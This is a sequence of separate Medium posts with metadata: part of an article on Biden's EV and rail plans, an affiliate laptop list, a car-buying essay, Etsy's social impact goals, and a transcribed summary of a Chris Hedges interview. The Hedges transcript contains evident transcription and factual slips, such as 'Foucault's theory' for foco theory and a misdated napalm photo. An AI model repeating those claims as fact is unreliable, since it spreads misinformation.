The plan is to expand intercity rail systems, reinvigorate Amtrak, install 500,000 EV charging stations — a must if large numbers of consumers are to take the plunge to electric — and pump more dollars into EV and advanced battery research.
A big question is whether, at a time Republicans have already expressed exhaustion with big spending bills, Biden can get it through Congress. In particular, for the last couple of decades, Republicans have treated EVs, batteries, and rail as partisan Democratic pork barrel. This fly in the ointment could be eliminated if the Democrats win control of the Senate by taking both of Georgia’s seats in next month’s runoff elections. Short of that long-shot bet, Biden will be relying on the selling skills of his nominee for energy secretary, former Michigan Governor Jennifer Granholm, a pro-auto industry politician, and as transportation secretary, Pete Buttigieg.
David Sandalow, undersecretary of energy under President Obama and now a fellow at the Center on Global Energy Policy at Columbia University, told me that Granholm can be extremely persuasive when packaging her policy aims as jobs. As Michigan governor, he said, “she was attentive to manufacturing jobs — how do we restore them and create good jobs for America.” In the case of EVs and batteries, that’s precisely what the outcome would be — tons of new middle-class jobs, which is how Biden is already explicitly talking about the transportation agenda. With Buttigieg, Sandalow said, Biden has someone who “won the Iowa Caucus out of nowhere. That shows his extraordinary political skills.”
Look for the industries themselves — especially the automobile lobby — to push hard for the Biden bill. It will still be hard.
What about using a time-honored call to arms? To Eisenhower, highways were a military imperative, since armies need reliable roads. Though Biden isn’t at this point framing his plans that way, they have the same context: The U.S. is in a technological and economic war with China and Europe to dominate the transformation of personal transportation from combustion to electric. Both China and the European Union have put billions of dollars in state funds behind their EV and battery efforts. Now Biden is saying the U.S. will, too.
The agenda picks up from the Obama administration. The original post-financial crash stimulus bill contained $2.4 billion for battery and EV companies, and $8 billion for high-speed rail. The vision in part materialized — $465 million of the money went to Tesla, which paid back the loan early and has gone on to be by far the biggest EV player in the world. But high-speed rail largely fell away: The country’s sole new rail project is Brightline, a private-built rail line connecting Miami and West Palm Beach, Florida, with an extension currently being added to Orlando at a cost of $2.7 billion. But it is hardly high speed — it goes an average of 79 miles an hour.
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Biden is exciting industry players that high-speed rail may be back. Marc Buncher, president of Siemens’ mobility division in the U.S. and Canada, told me that about a dozen U.S. cities have high-speed rail projects on the drawing board. They include one project connecting Dallas and Houston and another from Los Angeles to Las Vegas.
“Once the first one happens,” Buncher said, “everyone will see how it works and a bunch will follow.”
The first decade of the new EV age was about ideology. Tesla’s string of vehicles, GM’s Volt and Bolt, and the BMW i3 were all explicitly aimed at the narrow band of motorists seeking to make a green statement. The rest of the era — the one that attempts to bring EVs to the rest of the market — will only work if it’s not appealing to ideology, but to desires like “cool” and “savvy.” It will be the same with Congress. Some members will respond to the clarion call of climate change. For others — and this may be a very large group — there are the appeals of jobs, economic growth, and beating the pants off the Chinese. Biden’s task will be to understand to whom he is speaking.
|
https://medium.com/@sfllivestreamsredditfree/biden-moves-evs-and-batteries-to-the-center-of-economic-policy-6b752d08ba4e
|
['Sfl Live Streams Tv']
|
2020-12-19 19:08:41.077000+00:00
|
['Center', 'Biden', 'Batteries Industry', 'Movescount', 'Policy']
|
Amazon Top 3 Best Selling Laptops Review of 2019
|
Lenovo Chromebook C330, a convertible Chromebook, is the best selling laptop on Amazon right now. Then we have Acer Aspire E 15 and Acer Predator Helios 300.
Lenovo Chromebook C330 | $258*
Buy Now on Amazon: https://amzn.to/2Xxh1EQ
Lenovo Chromebook C330 2-in-1 Convertible Laptop, 11.6-Inch HD (1366 x 768) IPS Display, MediaTek MT8173C Processor, 4GB LPDDR3, 64 GB eMMC, Chrome OS, 81HY0000US, Blizzard White.
Lightweight, cheap, and powerful enough to get your online tasks done.
NoteBookCheck Review: https://www.notebookcheck.net/Lenovo-Chromebook-C330-Laptop-Review.385986.0.html
Digital Trens Review: https://www.digitaltrends.com/laptop-reviews/lenovo-chromebook-c330-review/
Video Review: https://www.youtube.com/watch?v=tLhiYEN-zD8
Acer Aspire E 15 | $349.99*
Buy Now on Amazon: https://amzn.to/2SAjzOQ
Acer Aspire E 15, 15.6" Full HD, 8th Gen Intel Core i3–8130U, 6GB RAM Memory, 1TB HDD, 8X DVD, E5–576–392H
Budget laptop and powerful enough to get your office’s task done. Great for browsing online or home usage.
Review: https://www.laptopmag.com/reviews/laptops/acer-aspire-e15-e5-576-392h
Video Review: https://www.youtube.com/watch?v=iEM0rn2oXSY
Acer Predator Helios 300 Gaming Laptop | $999*
Buy Now on Amazon: https://amzn.to/2T8vZTh
Acer Predator Helios 300 Gaming Laptop, 15.6" FHD IPS w/ 144Hz Refresh Rate, Intel 6-Core i7–8750H, Overclockable GeForce GTX 1060 6GB, 16GB DDR4, 256GB NVMe SSD, Aeroblade Metal Fans PH315–51–78NP
If you want to get the best gaming performance within $1K, this is the one.
Review: https://www.youtube.com/watch?v=SlznZd1FiQs
Review: https://www.pcworld.com/article/3346259/acers-powerful-kitted-out-predator-helios-300-gaming-laptop-just-dropped-under-1-000.html
Techradar: https://www.techradar.com/reviews/acer-predator-helios-300
Comment what you like or not.
|
https://medium.com/@topdeals/amazon-top-3-best-selling-laptops-review-of-2019-75218570078c
|
['Best Deals Of The Internet']
|
2019-03-02 10:02:18.163000+00:00
|
['Chromebook', 'Gaming', 'Review', 'Laptop', 'Deal']
|
The one piece of advice car salesmen often miss
|
I hadn’t really thought about my experience buying a new car until I was listening to WBEZ’s “This American Life” recently. In the episode “129 Cars,” the team spent a month at a Jeep dealership in Long Island, New York. I kept picturing the car salesman who sold me my last car.
Photo credit: Shamontiel L. Vaughn
When I entered the facility with that “test drive” promotional card, several heads turned. Car salesmen sized me up, one of which waved and asked how could he help. I held up the card and mentioned I wanted to use it. He shrugged and told me “someone else” can help and walked off completely uninterested. I stood there a bit disappointed, knowing what I knew versus what he knew. It was nothing like the way the car salesmen acted in the radio interviews, bombarding customers as they walked in the door. In “This American Life,” one manager specifically talked about why car salesmen should approach every single person who walks in as if it’s a sale. To paraphrase, no one leaves their home, heads purposely toward a car dealership and asks to see cars to not be interested in buying. The goal is to sell them on why they should buy a car, not the likelihood that they won’t.
I pondered on whether this older, white gentleman just decided I was broke from the minute I walked in the door. It was impossible not to notice the sizing-up going on from other salesmen who didn’t bother to even speak nor the lack of interest in greeting me upon entry. If Mark Zuckerberg and Steve Jobs teach you nothing else, it’s never judge a person’s salary by their fashion choices. (My salary does not even mildly come within a 100-mile distance of theirs, but the point remains.)
Then off to the side came a boisterous Italian man about two times my size who greeted me with a smile and guided me over to the cars. Fresh off of a lunch break, he went on and on about the pros and cons of a bunch of cars, and his ears perked up to hear of my interest in Suzuki. It may have taken me a solid 15 minutes after the test drive to buy the car — and the older, white guy stared in disbelief as the Italian guy popped a balloon and shouted “Ey ey ey” loud enough for other customers to turn around. We did some negotiating, I requested a car alarm and a few add-ons to be put on the car to finalize the sale, and I drove off that day — with a free gas card, too. But before I left, the older, white guy walked over, mentioning to me that I never told him I was in the market to buy a new car. My response, “I never told you I wasn’t either.” Meanwhile, the Italian guy was still strutting around dancing in circles.
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https://medium.com/i-do-see-color/the-one-piece-of-advice-car-salesmen-often-miss-adf17af1415
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['Shamontiel L. Vaughn']
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2020-12-18 18:07:03.988000+00:00
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['Sales', 'Car Sales', 'Prejudice', 'Race', 'Auto']
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Etsy’s 2020 Social Impact Goals
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Enabling equitable access to the opportunities that we create.
Image by HunterGatherer
We have developed an impact strategy that reflects the positive economic, social, and environmental impact we want to have on the world while advancing and complementing our business strategy. Since announcing our impact strategy in 2017, we have updated some of our goals to be more specific, measurable and time bound. We expect to continue to evolve our impact strategy in the future as we grow and our impact work matures. In August 2019, we finalized our acquisition of Reverb, the leading global online marketplace dedicated to buying and selling new, used, and vintage musical instruments, with a vibrant community of buyers and sellers all over the world. We are excited to continue to amplify our impact by harnessing the power of Reverb’s business and community.
Our social impact goal is to:
Enable equitable access to the opportunities that we create.
To advance this goal, we’ve set three sub-goals and targets where appropriate:
1. Build diverse and inclusive workforces that are broadly representative of their communities:
Targets:
Approximately double the percentage of Black and Latinx employees in Etsy’s workforce by 2023.
Set a baseline and goals for Reverb’s performance and pay practices, hiring rubric, and diversity & inclusion strategy.
2. Build a diverse, equitable, and sustainable supply chain to support our operations and bring value to both Etsy and our vendors.
Target: Ensure at least 50% of Etsy’s small and medium-sized enterprise suppliers are owned by women, minorities, or veterans by 2022.
3. Ensure our marketplaces are diverse, welcoming, and inclusive places to sell and shop.
Target: By 2021, define a key performance indicator and establish a baseline for marketplace diversity and inclusivity.
We’ll continue to keep our stakeholders informed on our progress, challenges, and learnings through this section of our Impact blog.
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https://medium.com/etsy-impact/etsys-2020-social-impact-goals-604dd87cdc99
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['Hilary Young']
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2020-03-12 16:42:21.706000+00:00
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['Diversity And Inclusion', 'Social Impact', 'Diversity In Tech']
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Chris Hedges on Revolution, Media, Prison, Corruption, and Hope
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A summary of a 90 minute interview with Hedges
Chris Hedges, a former war correspondent for the New York Times — until they didn’t like his anti-American coverage of the Iraq invasion — and an ordained minister, recently walked away (or was fired) from Truthdig in solidarity with Bob Scheer, and now he’s in the middle of writing a book, but he spent an hour and a half talking about everything on The Jimmy Dore Show. I’ve transcribed some key points below under headings, with links and images. It’s a little abridged and in a slightly altered order for clarity and brevity, and I also bolded pivotal statements for faster skimming!
On a Revolution Against the Corrupt System:
Hedges: We need to overthrow this system, not placate it. Revolution is almost always a doomed enterprise one that succeeds only when its leaders issue the practical and are endowed with what the theologian Reinhold Niebuhr calls sublime madness. Sanders lacks this quality and for this reason Sanders is morally and temperamentally unfit to lead this fight. (Also see Kate Manne on Sanders.)
Dore: I’m putting all my focus now into trying to highlight people who are good at direct action and unions, and we had on Jane McAlevey, and she lays out step-by-step how you organize a good 90 percent strike, and we need to. Bernie Sanders, AOC? They are Obama 2.0. There is no doubt they are there because they will go along with the corporation no matter what. They’re revealing it right now: AOC is doing live streams where she rants about the bill, but she only rants against the Republicans. She doesn’t rant against the person who has the power in the house which is Nancy Pelosi.
The night I did that event with Bernie and Shama there were other people there; Bill McKibben Naomi Klein and everybody were going after the Koch brothers, and as soon as Shama and I went after Obama’s environmental record, the other panelists were angry, in fact attacked us for being partisan. You build your kind of moral stature by denying the complicity of the Democratic establishment tagging the Republican establishment, but in fact you’re not serving the American public; you’re not serving truth; you’re serving the Democratic party hierarchy. That’s kind of what’s so sad about what’s happened.
I hope this doesn’t translate into political apathy. I hope it translates into wisdom, which is that the Democratic Party is incapable of reform. This corporate state is incapable of reform and we have to begin to mobilize to cripple it and bring it down.
Dore: Other people don’t fully realize what’s about to happen right now. I don’t think people realize what this country is going to look like in a year or two after the economy “opens back up” and everything is owned by a handful of people, which it already was, but now it’s gonna be even more so.
Hedges: I think political cowardice is not the wrong word. Stepping outside the system and challenging it immediately thrusts you into the wilderness. I’ve been thrust there myself. It’s uncomfortable. It’s a direct confrontation with the security and surveillance state, and it requires acts of sustained mass civil disobedience, which are at best uncomfortable and can get you arrested and will certainly get you followed by the internal organs of security. And a lot of people just don’t want to go there. You’re right about where we’re headed because this will be a collapsing house of cards. Whether people organize rent strikes or not is irrelevant; there will be de-facto rent strikes. What happens to the credit card companies? What happens to student loans? Small businesses are already going under right and left aided of course by the fact that large corporate businesses swallowed up all these loans that were supposed to be given to small businesses to keep their employees employed. I mean it’s been a complete disaster.
It’s very clear from looking at other countries, especially in Europe, that the only way forward is a guaranteed sustainable income, which we’re not doing. We’re throwing checks which nobody can get. People file for unemployment; the system crashes at best. In essence the corporate oligarchs have made a choice, and it’s a very grim choice.
There has to be sustained prolonged control testing shut down, but that’s so detrimental to their profits that they are going to sacrifice tens of thousands of American citizens on the altar of greed. They would rather have them die, and that’s what’s going to hit. We’re already watching these absurd calls to reopen. The tragedy is that the most vulnerable, the low-wage workers who actually do real work rather than sitting around like parasites on Wall Street, are the ones who are getting this right and left, so, economically, there certainly will be turbulence and unrest. I don’t see how that’s avoidable.
My fear is that it doesn’t have a vision. If you have kind of spontaneous uprisings here and there. the state can crush it, but empower those uprisings with a vision against corporate power and a call for socialism, then that becomes very dangerous. I think that’s part of the reason that people, like us, have been, not just pushed to the margins of the media landscape, but have been a victim of these algorithms that Google and Twitter and Facebook have imposed since 2017. That’s not conjecture. Referrals by impressions over a 12-month period had fallen from over 700,000 to below 200,000. That’s because the elites no longer have a counter argument. Nobody is buying their neoliberal mantra which never made any economic sense at all. It was drawn from these half-wits and totally discredited people figures like Frederick Hayek or Ayn Rand, if you can imagine it. But it did make sense as an ideology, to consolidate the wealth and power of the oligarchic elite, which is why it was rammed down our throats. Those who have a serious critique of it become dangerous. Before they were shunted aside and kind of ignored, but now there’s a very active effort to shut those voices down.
Go back and read Emma Goldman or Randolph Bourne. Take a look at what happened at the when Wilson created the committee for public information and massive censorship and you know those few stalwarts, Eugene Debs was another one who wrote, how swiftly all these socialists embrace the censorship and the war effort that Wilson was pushing. And then those people with any kind of moral fortitude, people like Debs, are imprisoned. Joe Hill was killed; Big Bill Haywood had to flee the country. Emma Goldman was deported along with Alexander Berkman and 300 other leftist. So I think history bears out that, under pressure, it’s actually a very small number of radicals who hold fast to the truth, and who are willing to defy power.
A state seeks to corner the monopoly on violence, and all other violence is illegitimate. Revolutions are actually nonviolent events. I’m halfway through Trotsky’s history of the Russian Revolution. As all the theorists of revolution have pointed out, it’s only when significant sectors of the apparatus that keeps the ruling elites in power defect so they’ll no longer defend the regime — and I covered the revolutions in Eastern Europe and so witnessed it then — that the system can’t sustain itself. So in September of 1989 I was in East Germany; Erich Honecker, the dictator, sends down early paratroop division to Leipzig, which was the centre of the protests. They get there, and the local communist parties refused to deploy it. Honecker is out of power within a week. The Cuban Revolution, I mean Che, popularized Foucault’s theory of an armed revolution, but in fact that’s not what happened. When you look at what brought down Batista and the Cuban regime, it was general strikes. So violence is often a part of revolution, I mean even in the Russian Revolution it was when the Cossacks defected. It was a great scene, and you know the Cossacks actually started firing on the police who remained loyal to the Czar, but it’s when the Cossacks defected that it was over. I’ve covered lots of conflicts: the civil wars in El Salvador and Guatemala, the first Gulf War, which was largely mechanized units in the desert, foreign occupations like Gaza. There are different categories, and during foreign occupations you go back and look at Vietnam: force does work to drive the occupier out, but in a revolution, a revolution is different. It’s about essentially diminishing the power of a discredited elite until those around them won’t protect them anymore. So the show-offs leave Iran and the head of the Armed Forces said, I will no longer defend the regime. It’s over. That’s how it works, and it’s interesting. Lenin certainly understood the mechanics of revolution, which is why he was so opposed to anarchist violence even though his own brother was executed for an assassination plot against the Tsar.
America had a very radical socialist and communist movement erased from our history. In Chicago in the 1930s, when they came to evict you, when the police showed up to haul furniture out of the apartment, everybody said, ‘Go get the Reds!’ They may not have been communist, but they knew that all the communist stalwarts would come and move the damn furniture back in the apartment and block the police from throwing the people out. The war against, not only our left but even our liberal class, creates this distortion of the Cold War liberal or the Clintonesque type liberal, which is kind of that figure who speaks of feeling your pain but serves corporate and police power. There still is a communist party in France, and, as in Italy, I was once invited by the Communist Party to speak to all the graduating high school students, and in Florence 10,000 of them. But our left was eviscerated and destroyed so that we don’t even have the vocabulary to speak about class warfare, which is precisely what’s happening now. Our media systems have been so utterly degraded.
I pinpointed this in my book Empire of Illusion: The End of Literacy and the Triumph of Spectacle, that we’ve severed ourselves from print, and you’re never really going to understand systems of power by looking at a screen. You do have to sit down and read political theory. You have to read Marx, and I’m not a Marxist, and I don’t believe in the withering away of the state and all this kind of stuff, but his critique of capitalism is unmatched with a heavy infusion of Friedrich Engels’ data, and the first volume of capital gets it.
Voting is such a minor part of what it means to be civically engaged anyway. It’s about holding power accountable. It’s about pitting power against power. History has borne that out. I lived in France under Sarkozy, and when Sarkozy tried it, he was awful, and Macron is even worse. But when he tried to do something, next thing you know, Paris was filled with farmers on tractors blocking all the roads. My son did his graduate work in Paris. I said, when you go over there, ask your students what would do if suddenly they started charging 60 or 70 thousand dollars a year to go to college. Well they’d shut the damn country down, and that’s how we got to begin to think. We shouldn’t be having these discussions about elections. I’m a very strong supporter of extinction rebellion. They’ve got it right, but it’s got to be nonviolent. We have to begin to create sustained mobilizations that muck the system up so it can’t work. That’s our only hope.
On Journalism and the Role of Media
Truthdig was founded by this heiress, Zuade Kaufman. Bob Scheer was the editor-in-chief and she did bankroll it, so everyone was paid on the site. Bob was adamant that he wasn’t going to take free work from writers. Then, I think because Bob was so fierce in denouncing the Russia Gate hoax and the red-baiting against Bernie, he fell out of favour. I don’t know what her motives were, but she moved to remove him and the staff actually took over the site on March 11th, announced a work stoppage, and also demanded a union and an end to abusive labor conditions including forcing copy desk editors to be on call for several hours but only paying them for the time they were actually typing online. It’s quite a long exhaustive list to surrender or nullify all of your civil and and labor rights, and she eventually shut the site down — claimed to be on a hiatus — and fired everyone. That’s again a kind of window into the rhetoric of the liberal elites: Unions are fine for teachers or anybody else, but not for your own employees.
DORE: This is another one of those situations where the owner and the editor don’t produce the value of that website just like the the stockholders of Ralph’s don’t produce the value of a grocery store. We’re finding out during this pandemic it’s actually the workers who create all the value. Same thing at Amazon; same thing at UPS. Why do people still need a billionaire heiress to bankroll them? Just set up your own subscription model. All the writers at Truthdig. Everybody wants to read them so you just create a website and you create a subscription model. People will support you. People support us because they know they can get here what they can’t get anywhere else. That’s where the business model is changing and that’s the beauty: you don’t really need them anymore. People can self-fund through Patreon or whatever.
Hedges: The old model of the press, which was flawed, where you depended on advertisers really doesn’t work anymore because they don’t need the medium of newsprint or a site to connect with consumers. They’ll have all of our profiles and they can connect with us directly. That’s raised some serious questions: how you will sustain journalism going forward. It does raise questions about how we’re going to do journalism. Barbara Ehrenreich says journalists are going to have to get used to being members of the working class again. They’re not going to get the kind of middle-class salaries that I and my colleagues got when I was at the New York Times. That’s over. Setting up a website is what Matt Taibbi just did. I’m not rushing into anything right now because I want to finish the book.
The Assange case gets to what Trotsky writes about the liberal class. Julian publishes, through the courage of Chelsea Manning, examples of egregious war crimes committed by forces primarily in Iraq but also Afghanistan, and the American press the New York Times, my old employer, the Guardian, der Spiegel, they all publish it. Somehow people have misinterpreted this as an act of courage on the part of the publishers; it isn’t. They were astute enough to realize that if they didn’t publish it, alternative publications would publish it, and it essentially shamed them into doing their journalism. We go back to Bob Scheer who was the editor-in-chief at Truthdig before he and all the rest of us were pushed out. Bob was at Ramparts; they published the first reports about the Vietnam War and what was actually happening including the iconic photo of the young girl running naked down a road burning with napalm, which King saw and prompted King to denounce the war on April 4th 1967 at Riverside Church. It’s always been the role of the alternative press, which is not constrained by commercialism, to speak truth, to shame the traditional press into doing their job, and that’s what happened. That’s why the New York Times, for instance, ran it, but they hated Assange and Wikileaks from the start, and so they published the information but almost immediately they flipped into doing the state’s bidding and destroying Julian. I’m not gonna get into the whole Swedish thing except to say it was bullshit, and I looked very closely at it as did Nils Melzer and several others who visited Julian, and said this guy is under psychological torture. Then of course Julian’s sin was that he went after all of the power leaders with the Podesta emails exposing Hillary Clinton’s acceptance of $675,000 for three speeches to Goldman Sachs, a sum that can only be described as a bribe. I visited Julian several times in the embassy when he was in Ecuador. I have tremendous admiration for him as I do with Chelsea Manning as I do for Edward Snowden as I do for John Kiriakou, Bill Binney, all these people who have risked their career, and in Julian’s case his life, to stand up and speak the truth about Empire.
The liberal class does what the liberal class is designed to do — let’s go again back to Chomsky — it posits itself as the moral arbiter of the society, and it is permitted that role within a capitalist democracy because it will never question the motives and the intentions of the ruling elites. When you actually do begin to question the motives and intentions of the ruling elites, when you begin to expose them for who they are, then you use the liberal class, which is what’s happened with Julian. To turn them into credited pariahs, which they’ve also done by the way with Ralph, and so that’s why you traditionally allow a liberal institution to exist. It can ameliorate the system and can address some of the more egregious excesses of the system, but it fundamentally buttresses and defends the system. I was a victim of this when I’d been the Middle East bureau chief for the New York Times denouncing Bush’s called to invade Iraq. On the day of the invasion, I was given 15 minutes on Fresh Air talking about why this invasion — and I am an Arabic speaker; I spent seven years in the Middle East, months of my life in Iraq — was going to be a fiasco. Not to mention the fact that pre-emptive war is is under international law a war crime. It’s a criminal war of aggression. Then following me was Michael Ignatieff who was a friend and arguing with a heavy heart telling us that he’d opposed the war in Vietnam, but we had to go in there and liberate the people of Iraq and save the women of Afghanistan as if the first airborne is somehow gonna save the women of Afghanistan, and that is the traditional role of the liberal class.
Dore: I am gobsmacked on a daily basis how bad journalism is. Even if you’re a journalist, it’s like human psychology, you still want to be on the in-crowd, which is why 99.9% of journalists are worthless because they’ll never go against the herd mentality.
Hedges: It’s careerism. Let’s take the first Gulf War: anybody who reported with me out of the Middle East didn’t have any difference in terms of my assessment and certainly my outspokenness on behalf of the Palestinians, they just recognize that it’s not good for their career. I think that’s what drives a lot of it. People read the zeitgeist; they understand that clobbering the Democratic Party for their complicity and the reconfiguration of American society into an oligarchy and the betrayal of the working class is not good for their career, so let’s go after Putin and Russia. I’m not saying Russia didn’t interfere in the election; they probably did. Every election I’ve covered overseas we interfered with. We gave Boris Yeltsin $1.5 billion in order to be reelected in ’96. But that’s not why Trump was elected. If you go after the the Democratic centers of power then you’re gonna be pushed out. Matt Taibbi wrote a good book it’s called Hate Inc, which updates Chomsky because a lot of things have changed with 24-hour news cycle. In the old system it was kind of this trusted father figure middle road objectivity that all broke down with cable. And now it’s really kind of Orwell’s “two minutes of hate,” so you know we hate them they hate us; that’s what sells now. On Taibbi’s book, on one half of the cover is Sean Hannity; on the other is Rachel Maddow because they do exactly the same thing, and that’s burlesque. It’s show business. It’s vaudeville. But it’s not journalism. These people couldn’t report a story if you put a gun to their head.
Power lies. I mean, all government lies. When I did journalism, I wasn’t doing lunch in Washington. I was in Sarajevo, or I was in El Salvador; I was in Gaza. My job was to show how they lie, and it meant that I was not only at war with my own government, but at war with a Washington bureau of the New York Times. So balance at the paper became my reporting from Gaza next to a column of probably exactly the same length given exactly the same display with a lie so people could believe what they wanted to believe. That’s why Julian Assange is such a heroic figure and why I admire him so much, and you know from following these court proceedings it’s fixed. I think he’s going to be lynched under the Espionage Act, even though he’s not an American citizen. WikiLeaks is not a US-based publication. It is a crime to possess classified information but all of us in journalism have published classified information, but once you create that legal precedent by sending Julian to prison — his sentence is potentially 175 years — then it’s over. There is no way to shine a lens into the inner workings of power. That’s where we’re headed.
I never took a journalism course, so I would say definitely an undergraduate major in journalism is a complete waste. I went to El Salvador as a freelance reporter, and I learned journalism from all these old reporters who covered Vietnam, which is why I’m still alive because I listen to them. They would edit my copy, and it was a kind of de-facto journalism school. Journalism school is a trade, and I spent eight years in a university without ever getting a doctorate, which took work, but you know I studied theology, English literature, philosophy, classics, and I think that gave me a kind of a rich grounding in the humanities and liberal arts in history that made me a better journalist. I think that’s far more important. We work with words the same way. When you do it well it takes a great deal of skill. It’s like a master carpenter: we can all go out in our garage with a couple boards, but to be a master carpenter takes years and years of work.
I would bring up the climate crisis because this system is quite willing to sacrifice us and all future generations for their short-term profit. I think it’s a degradation of the media landscape, and I’ve watched it over my whole career. I began as a reporter in the 1980s in Central America, the rise of illiteracy, the sophisticated forms of control, the way politics has just become another version of ESPN with the numbers and the stats and the horse race and these manufactured personalities. They’re all manufactured personalities: Biden, Trump, Bernie. All of them they’re manufactured. They’re not real, and that personalization of politics has kind of dumbed down the country. Of course that’s why slaveholders didn’t want enslaved people to read, and in fact they could be killed for it. The point is to keep us unaware. The point is to keep us ignorant and for those people who refuse to name systems of power and attempt to confront them, then they have the iron heel of the boot, and they use it. Those are the people I teach in prison.
Hannah Arendt
On Prison Education
Dore: You teach in a prison; the prisoners have written a play, and it’s called Caged, and they’re now being called New Jersey Prison Theatre Cooperative, and Haymarket Press is now printing it. Anytime there’s a real leader, they just immediately imprison them. Is that what is happening? Is that why we haven’t had any great leaders since Martin Luther King and Malcolm X?
Here’s a portion of the introduction by Boris Franklin,
“Professor Hedges asked us to write about our experiences and those of our families outside of prison as well as our life in prison in dramatic dialogue. We reached back into our past to produce small dramatic scenes we resurrected emotions and painful experiences as well as ones of joy and love buried deep within us. Professor Hedges selected several dialogues each week to read out loud, sometimes asking the student who wrote it to read it to the class. There were many times, however, when the pain of what had been put down on paper was too much to speak. Stories of pain, humiliation, humor, love, courage, grief, loneliness, loss, shame, and guilt poured out of us. The emotional walls erected between us and the prison began to crumble as we listened to these stories being read out loud often by men whose voices were breaking with emotion. We began to understand that when you are a poor person of color in America, you have one story. There are many different variations of this story, but the core is the same one made familiar by white supremacy, poverty neglect, despair, rage, violence, addictions, and abandonment. Telling this story, our story, was liberating. We found our voice. Our voice became the play, Caged.”
Hedges: I’ve taught in prisons for years, so it’s something I care a lot about. I originally started teaching because of a friend of mine, who was the head of the history department at the College of New Jersey; this was before there was an accredited college program. We would just buy the books ourselves, go in teach a semester of course, and then go home on our computers and print out — if they did the work- a certificate saying they had done the academic work, which was not going to be accepted by any academic institution, but which they could put in their folders, which is helpful when they went up before probation committees or anything else. Then eventually, in 2013 Rutgers University established a program, a BA program inside the prison. I began teaching that program. This class was the first class. It was 2013. I was teaching drama so August Wilson, Amira Baraka, James Baldwin, all sorts of playwrights, and I, as an experiment, had them write dramatic scenes to familiarize them with dramatic dialogue. And we eventually hammered it into a play, and it was put on at the theatre in Trenton, and then just published by Haymarket books. I don’t think will make any money, but any money from the play will go into a re-entry fund so that all of those playwrights will have something. I put down a down payment on an apartment for one of the playwrights who’s getting out in June because you come out with nothing. It was moving, and in prison you don’t share those experiences. It was inadvertent. It wasn’t planned on my part, but as Boris said it became highly charged, highly emotional, and highly therapeutic because people began to speak about their own pain, their own loss, their own suffering, their own struggles. There was built a kind of phenomenal connection and bond that has continued to this day. I mean, I met Boris at the gate when he got out. I’ve met several of these students at the gate. [Here’s Hedges’ graduation address for 27 former inmates from Rutgers: Integrity Forged in Cages.]
Mass incarceration is the civil rights issue of our age. One of the reasons I will not vote for Joe Biden is because he was the architect, along with Bill Clinton — half of my students would not be in the prison but for Clinton and Biden: a huge expansion of the death penalty, which he bragged about, military as police. I mean there are many reasons not to vote for Biden, but I just can’t come out of that prison and cast a ballot for somebody who’s done that to the people I care about.
“The most valuable blacks are those in prison. August Wilson once said those who have the warrior spirit who had a sense of being African, they got for their women and children what they needed when all other avenues were closed to them. He added, the greatest spirit of resistance among blacks is found among those in prison.”
Mass incarceration, militarized police who create reigns of terror, and what Malcolm X calls ‘these internal qualities,’ they are forms of social control. This isn’t about justice. 94% of the people in our prison system never get a jury trial. They’re coerced, and I use that word intentionally, coerced completely over charges stacked against them, which the police the prosecutors, the public defenders all know are not true. And then you barter, and if you go to trial — the students that I have in prison with the longest sentences, are the ones who went to trial, and almost always the ones who did not commit the crime because they thought if they were innocent they would be found innocent. In fact they were used as an example and given these horrific sentences. Again let’s go back to Clinton and Biden who doubled, tripled, quadrupled the sentences meted out to the poor in these courts, and in the prisons, immediately. I mean I taught a class called ‘Conquest’ a couple years after this class. We read Open Veins of Latin America, Bury my Heart at Wounded Knee, and CLR James’ The Black Jacobins on the Haitian war of independence, the only successful slave revolt in human history, and Haiti’s been paying for it ever since.
I had given them the syllabus, and I said I won’t be here this week because I’m speaking to the University of Montana. I got a phone call in my hotel room: “This is the Special Investigations Division of the Department of Corrections of the state of New Jersey. Are you aware that your students just led a sit down strike in the prison?” It was a very emotional moment for me. I knew nothing about it. I was not informed about it. They actually said, “And we think you’re behind it,” so I was interrogated for five hours, and I really didn’t know about it. I mean they’re not going to tell me, but what they did is strip search all the cells, interrogate everybody, threaten to take away their job in the kitchen or their right to take a college course, until they found the two leaders. And they found them, and they put them in indefinite solitary confinement, and that’s what they do. August Wilson is right: the level of discussion that I have in a prison classroom dwarfs anything, and I’ve taught three times at Princeton or at Columbia, and all these other universities, because not only do I teach serious intellectuals who have turned their cells into libraries but people who understand the criminal justice system, understand white supremacy, understand the intrinsic violence of the American state, and so you begin discussions in those classrooms at a level that these privileged white kids can’t even begin to meet.
It’s the quota system. It’s not about crime. If people want federal dollars, which they all want, for ‘the war on drugs’ then it’s about a number game and that’s all they do. It’s harassment, and it’s because corporations and the wealthy no longer pay taxes. They’ve got to fill those holes. You take St. Louis County, this is where Ferguson is. In Ferguson Michael Brown was killed; 70% of the income came from fines, and they just make up fines. My favorite is obstructing pedestrian traffic. This is real. That means standing on a sidewalk. Also mowing your lawn, not mowing your lawn, I mean anything; loose cigarettes is how Eric Garner was choked to death, although he actually that day wasn’t even selling loose cigarettes. It’s social control because these urban wastelands that have been decimated with the shipment of manufacturing overseas, which are filled mostly with people of color, have to be controlled, and you do it three ways: you unleash police who are given total impunity including the ability to use lethal force against unarmed civilians. 1,000 people die a year, almost all of them unarmed. You create a court system that is just a conveyor belt for people into jails and prisons. And then evictions; people forget about evictions. Roughly every six months you lock up the men, and you evict the women and children, and so there there’s constant instability, which makes it impossible to have any cohesion or networking within the community. That’s also by design.
DORE: The government will pay the corporation $70,000 here in California year to lock them up so they now become valuable to the corporation to the point where, when a judge in California ordered Kamala Harris’s office to release prisoners because of overcrowding, they argued in court that they couldn’t do it because it would upset the prison labor system. We’ve turned poor people into commodities. It’s like it’s a new slavery.
Hedges: It is a new slavery. That’s exactly right, and prisons are plantations. In prisons in the South, they don’t even get paid; my students get 22 cents an hour, $28 a month for a 40-hour week, and you have about a roughly a million people within our prison system working for for-profit corporations, McDonald’s uniforms, stuff like this. You have prisons going to corporations saying, “Look, you don’t need to abuse sweatshop workers in Bangladesh. We have plenty of sweatshop workers right here behind bars, and they can’t strike; they can’t organize; you don’t have to pay any benefits; you don’t have to pay them if they’re sick, and if they’re a problem we’ll put them in solitary confinement.” For me, prison is a window into the perfect world of the corporate state, and what they want to do to the rest of us. Who said, if you want to understand a country go to their prisons? I think was Dostoevsky or Tolstoy. [It’s often misattributed to Dostoevsky.] You’ve got to look at at how they treat people who are powerless to know how they want to treat you, so I suppose if there’s any dark humour to this it’s because we’ve turned our backs on these people and ignored them, and we busy ourselves with kind of boutique activism, while people of color are being crucified across the street. They started with them, but they’re not done with them. They’re coming for us now, and given what’s happening because of the coronavirus and the economic meltdown, it’s coming a lot sooner than you think.
